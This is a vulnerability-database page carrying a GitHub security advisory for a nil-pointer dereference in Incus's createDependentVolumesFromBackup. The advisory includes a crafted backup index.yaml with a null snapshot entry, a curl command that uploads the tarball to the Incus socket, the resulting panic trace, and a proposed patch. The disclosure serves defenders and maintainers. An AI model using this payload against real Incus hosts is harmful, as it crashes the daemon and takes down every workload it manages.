GHSA-4XG6-52MH-FPW8
Vulnerability from github – Published: 2026-06-26 18:52 – Updated: 2026-06-26 18:52Summary
(*backend).createDependentVolumesFromBackup in internal/server/storage/backend.go contains a cluster of unguarded pointer derefs on every dependent-volume entry's VolumeSnapshots[i], Volume, and Pool sub-fields. An authenticated user with can_create_instances permission on any project can crash the incusd daemon by uploading an instance backup tarball whose dependent_volumes[*] block contains a nil snapshot pointer (or omits volume: / pool:).
This is a sibling-field variant of the 2026-05-04 batch fix d768f81c0a1d985f35ae56219519822b080bf5e3 ("Properly check dependent volumes on import"). That commit added if disk == nil at the top of the outer loop, but did not guard the four sub-pointer fields the loop body dereferences naked.
Vulnerable code
internal/server/storage/backend.go:9352-9412:
func (b *backend) createDependentVolumesFromBackup(srcBackup backup.Info, ...) error {
...
for _, disk := range srcBackup.Config.DependentVolumes {
if disk == nil { // ← d768f81 parent fix
return errors.New("Bad dependent volume definition found in index")
}
...
snapshots := []string{}
for _, snap := range disk.VolumeSnapshots {
snapshots = append(snapshots, snap.Name) // ← I-2 trigger: snap may be nil
}
bInfo := backup.Info{
Project: disk.Volume.Project, // ← disk.Volume may be nil
Name: disk.Volume.Name,
Backend: disk.Pool.Driver, // ← disk.Pool may be nil
Pool: disk.Pool.Name,
...
}
...
devKey := fmt.Sprintf("%s/%s", disk.Pool.Name, disk.Volume.Name)
...
}
}
disk has type *config.Config (declared in internal/server/backup/config/backup_config.go:8). Its Volume field is *api.StorageVolume, Pool is *api.StoragePool, VolumeSnapshots is []*api.StorageVolumeSnapshot — all yaml omitempty. YAML omission decodes to nil for each.
The parent fix mental-modeled "outer-iteration variable nil"; it did not walk every sub-field deref inside the loop body. Direct asymmetric-guard variant.
Reach
- Attacker is an authenticated client with
can_create_instanceson any project. Same auth gate as GHSA-8g7m-96c8-8wwc / CVE-2026-47753. POST /1.0/instanceswithContent-Type: application/octet-streamandX-Incus-name: <name>.- Body is a tar containing
backup/index.yamlwhoseconfig:block has a non-nilcontainer:(passesinstances_post.go:854 if bInfo.Config == nil || bInfo.Config.Container == nil) and adependent_volumes:list with a malformed entry. - Chain:
instancesPost->createFromBackup:854(Container guard passes) ->pool.CreateInstanceFromBackup->backend.go:782 b.createDependentVolumesFromBackup->backend.go:9374 snap.Namepanics on the nil*api.StorageVolumeSnapshotelement. incusddies. Persistent DoS on repeat.
Minimal backup/index.yaml (used in the bundled PoC):
name: poc-inst
backend: dir
pool: default
type: container
optimized: false
optimized_header: false
snapshots: []
config:
container:
name: poc-inst
architecture: x86_64
type: container
profiles: ["default"]
config: {}
devices: {}
expanded_devices:
depdisk: {type: disk, dependent: "true", pool: default, source: depvol, path: /data}
expanded_config: {}
dependent_volumes:
- volume: {name: depvol, type: custom, content_type: filesystem, config: {}}
pool: {name: default, driver: dir, config: {}}
volume_snapshots:
- ~ # explicit null entry → snap.Name at 9374 panics
(The container block must declare at least one device with type: disk, dependent: "true", pool != "", path != "/" to populate devicesMap and reach the second loop. Trivially satisfiable.)
An equivalent triggering YAML omits volume: or pool: from the dependent_volumes entry; in that case disk.Volume.Project at 9378 panics instead.
Proof of concept (end-to-end against running daemon)
Bundled in the report: make_backup.sh + 666-byte poc-inst.tar.gz.
Tested against incus 7.0.0 (zabbly latest GA, build 1:0~ubuntu24.04~202605201355) inside a privileged Ubuntu 24.04 container with default dir pool.
$ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \
--data-binary @/tmp/poc-inst.tar.gz \
-H 'Content-Type: application/octet-stream' \
-H 'X-Incus-name: poc-inst' \
http://incus/1.0/instances
{"type":"async","status":"Operation created","status_code":100,...}
$ ps -ef | grep incusd | grep -v grep # process gone
Daemon panic:
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x163b7bc]
goroutine 257 [running]:
github.com/lxc/incus/v7/internal/server/storage.(*backend).createDependentVolumesFromBackup(...)
/build/incus/internal/server/storage/backend.go:9374 +0x42c
github.com/lxc/incus/v7/internal/server/storage.(*backend).CreateInstanceFromBackup(...)
/build/incus/internal/server/storage/backend.go:782 +0x660
main.createFromBackup.func8(...)
/build/incus/cmd/incusd/instances_post.go:989 +0x2ac
github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...)
/build/incus/internal/server/operations/operations.go:307 +0x2c
Stack frame backend.go:9374 is the literal snap.Name line.
Impact
- Severity: denial of service against the entire
incusdprocess. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process. - Privileges required: any authenticated user with
can_create_instanceson any project. Not behind the admin tier. - Network attack surface: the Incus REST API on
:8443or the unix socket. - CWE-476 — Nil-Pointer Dereference. CVSS estimate: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
- Versions: v7.0.0 confirmed. The
dependent_volumesfeature did not exist in v6.x, so the vulnerable code is v7-only.
Suggested fix
--- a/internal/server/storage/backend.go
+++ b/internal/server/storage/backend.go
@@ -9362,6 +9362,18 @@ func (b *backend) createDependentVolumesFromBackup(...) error {
for _, disk := range srcBackup.Config.DependentVolumes {
if disk == nil {
return errors.New("Bad dependent volume definition found in index")
}
+
+ if disk.Volume == nil || disk.Pool == nil {
+ return errors.New("Bad dependent volume definition: missing volume or pool")
+ }
+
+ for _, snap := range disk.VolumeSnapshots {
+ if snap == nil {
+ return errors.New("Bad dependent volume snapshot definition")
+ }
+ }
+
optimizedStorage := srcBackup.OptimizedStorage
optimizedHeader := srcBackup.OptimizedHeader
snapshots := []string{}
for _, snap := range disk.VolumeSnapshots {
snapshots = append(snapshots, snap.Name)
}
Reporter notes
Reported via Privately-Reported Vulnerability against lxc/incus by tonghuaroot.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/lxc/incus/v7/cmd/incusd"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48754"
],
"database_specific": {
"cwe_ids": [
"CWE-476"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T18:52:46Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "## Summary\n\n`(*backend).createDependentVolumesFromBackup` in [`internal/server/storage/backend.go`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/internal/server/storage/backend.go) contains a cluster of unguarded pointer derefs on every dependent-volume entry\u0027s `VolumeSnapshots[i]`, `Volume`, and `Pool` sub-fields. An authenticated user with `can_create_instances` permission on any project can crash the `incusd` daemon by uploading an instance backup tarball whose `dependent_volumes[*]` block contains a nil snapshot pointer (or omits `volume:` / `pool:`).\n\nThis is a sibling-field variant of the 2026-05-04 batch fix `d768f81c0a1d985f35ae56219519822b080bf5e3` (\"Properly check dependent volumes on import\"). That commit added `if disk == nil` at the top of the outer loop, but did not guard the four sub-pointer fields the loop body dereferences naked.\n\n## Vulnerable code\n\n[`internal/server/storage/backend.go:9352-9412`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/internal/server/storage/backend.go#L9352-L9412):\n\n```go\nfunc (b *backend) createDependentVolumesFromBackup(srcBackup backup.Info, ...) error {\n ...\n for _, disk := range srcBackup.Config.DependentVolumes {\n if disk == nil { // \u2190 d768f81 parent fix\n return errors.New(\"Bad dependent volume definition found in index\")\n }\n ...\n snapshots := []string{}\n for _, snap := range disk.VolumeSnapshots {\n snapshots = append(snapshots, snap.Name) // \u2190 I-2 trigger: snap may be nil\n }\n\n bInfo := backup.Info{\n Project: disk.Volume.Project, // \u2190 disk.Volume may be nil\n Name: disk.Volume.Name,\n Backend: disk.Pool.Driver, // \u2190 disk.Pool may be nil\n Pool: disk.Pool.Name,\n ...\n }\n ...\n devKey := fmt.Sprintf(\"%s/%s\", disk.Pool.Name, disk.Volume.Name)\n ...\n }\n}\n```\n\n`disk` has type `*config.Config` (declared in [`internal/server/backup/config/backup_config.go:8`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/internal/server/backup/config/backup_config.go#L8)). Its `Volume` field is `*api.StorageVolume`, `Pool` is `*api.StoragePool`, `VolumeSnapshots` is `[]*api.StorageVolumeSnapshot` \u2014 all yaml `omitempty`. YAML omission decodes to nil for each.\n\nThe parent fix mental-modeled \"outer-iteration variable nil\"; it did not walk every sub-field deref inside the loop body. Direct asymmetric-guard variant.\n\n## Reach\n\n1. Attacker is an authenticated client with `can_create_instances` on any project. Same auth gate as GHSA-8g7m-96c8-8wwc / CVE-2026-47753.\n2. `POST /1.0/instances` with `Content-Type: application/octet-stream` and `X-Incus-name: \u003cname\u003e`.\n3. Body is a tar containing [`backup/index.yaml`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/backup/index.yaml) whose `config:` block has a non-nil `container:` (passes `instances_post.go:854 if bInfo.Config == nil || bInfo.Config.Container == nil`) and a `dependent_volumes:` list with a malformed entry.\n4. Chain: `instancesPost` -\u003e `createFromBackup:854` (Container guard passes) -\u003e `pool.CreateInstanceFromBackup` -\u003e `backend.go:782 b.createDependentVolumesFromBackup` -\u003e `backend.go:9374 snap.Name` panics on the nil `*api.StorageVolumeSnapshot` element.\n5. `incusd` dies. Persistent DoS on repeat.\n\nMinimal [`backup/index.yaml`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/backup/index.yaml) (used in the bundled PoC):\n\n```yaml\nname: poc-inst\nbackend: dir\npool: default\ntype: container\noptimized: false\noptimized_header: false\nsnapshots: []\nconfig:\n container:\n name: poc-inst\n architecture: x86_64\n type: container\n profiles: [\"default\"]\n config: {}\n devices: {}\n expanded_devices:\n depdisk: {type: disk, dependent: \"true\", pool: default, source: depvol, path: /data}\n expanded_config: {}\n dependent_volumes:\n - volume: {name: depvol, type: custom, content_type: filesystem, config: {}}\n pool: {name: default, driver: dir, config: {}}\n volume_snapshots:\n - ~ # explicit null entry \u2192 snap.Name at 9374 panics\n```\n\n(The container block must declare at least one device with `type: disk`, `dependent: \"true\"`, `pool != \"\"`, `path != \"/\"` to populate `devicesMap` and reach the second loop. Trivially satisfiable.)\n\nAn equivalent triggering YAML omits `volume:` or `pool:` from the dependent_volumes entry; in that case `disk.Volume.Project` at 9378 panics instead.\n\n## Proof of concept (end-to-end against running daemon)\n\nBundled in the report: `make_backup.sh` + 666-byte `poc-inst.tar.gz`.\n\nTested against `incus 7.0.0` (zabbly latest GA, build `1:0~ubuntu24.04~202605201355`) inside a privileged Ubuntu 24.04 container with default `dir` pool.\n\n```bash\n$ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \\\n --data-binary @/tmp/poc-inst.tar.gz \\\n -H \u0027Content-Type: application/octet-stream\u0027 \\\n -H \u0027X-Incus-name: poc-inst\u0027 \\\n http://incus/1.0/instances\n{\"type\":\"async\",\"status\":\"Operation created\",\"status_code\":100,...}\n\n$ ps -ef | grep incusd | grep -v grep # process gone\n```\n\nDaemon panic:\n\n```\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x163b7bc]\n\ngoroutine 257 [running]:\ngithub.com/lxc/incus/v7/internal/server/storage.(*backend).createDependentVolumesFromBackup(...)\n /build/incus/internal/server/storage/backend.go:9374 +0x42c\ngithub.com/lxc/incus/v7/internal/server/storage.(*backend).CreateInstanceFromBackup(...)\n /build/incus/internal/server/storage/backend.go:782 +0x660\nmain.createFromBackup.func8(...)\n /build/incus/cmd/incusd/instances_post.go:989 +0x2ac\ngithub.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...)\n /build/incus/internal/server/operations/operations.go:307 +0x2c\n```\n\nStack frame [`backend.go:9374`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/backend.go#L9374) is the literal `snap.Name` line.\n\n## Impact\n\n- **Severity:** denial of service against the entire `incusd` process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process.\n- **Privileges required:** any authenticated user with `can_create_instances` on any project. Not behind the admin tier.\n- **Network attack surface:** the Incus REST API on `:8443` or the unix socket.\n- **CWE-476** \u2014 Nil-Pointer Dereference. **CVSS estimate:** 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).\n- **Versions:** v7.0.0 confirmed. The `dependent_volumes` feature did not exist in v6.x, so the vulnerable code is v7-only.\n\n## Suggested fix\n\n```diff\n--- a/internal/server/storage/backend.go\n+++ b/internal/server/storage/backend.go\n@@ -9362,6 +9362,18 @@ func (b *backend) createDependentVolumesFromBackup(...) error {\n for _, disk := range srcBackup.Config.DependentVolumes {\n if disk == nil {\n return errors.New(\"Bad dependent volume definition found in index\")\n }\n+\n+ if disk.Volume == nil || disk.Pool == nil {\n+ return errors.New(\"Bad dependent volume definition: missing volume or pool\")\n+ }\n+\n+ for _, snap := range disk.VolumeSnapshots {\n+ if snap == nil {\n+ return errors.New(\"Bad dependent volume snapshot definition\")\n+ }\n+ }\n+\n optimizedStorage := srcBackup.OptimizedStorage\n optimizedHeader := srcBackup.OptimizedHeader\n\n snapshots := []string{}\n for _, snap := range disk.VolumeSnapshots {\n snapshots = append(snapshots, snap.Name)\n }\n```\n\n## Reporter notes\n\nReported via Privately-Reported Vulnerability against `lxc/incus` by tonghuaroot.",
"id": "GHSA-4xg6-52mh-fpw8",
"modified": "2026-06-26T18:52:46Z",
"published": "2026-06-26T18:52:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lxc/incus/security/advisories/GHSA-4xg6-52mh-fpw8"
},
{
"type": "PACKAGE",
"url": "https://github.com/lxc/incus"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Incus: Nil-pointer dereference in createDependentVolumesFromBackup\u00a0on disk.{Volume,VolumeSnapshots,Pool}"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.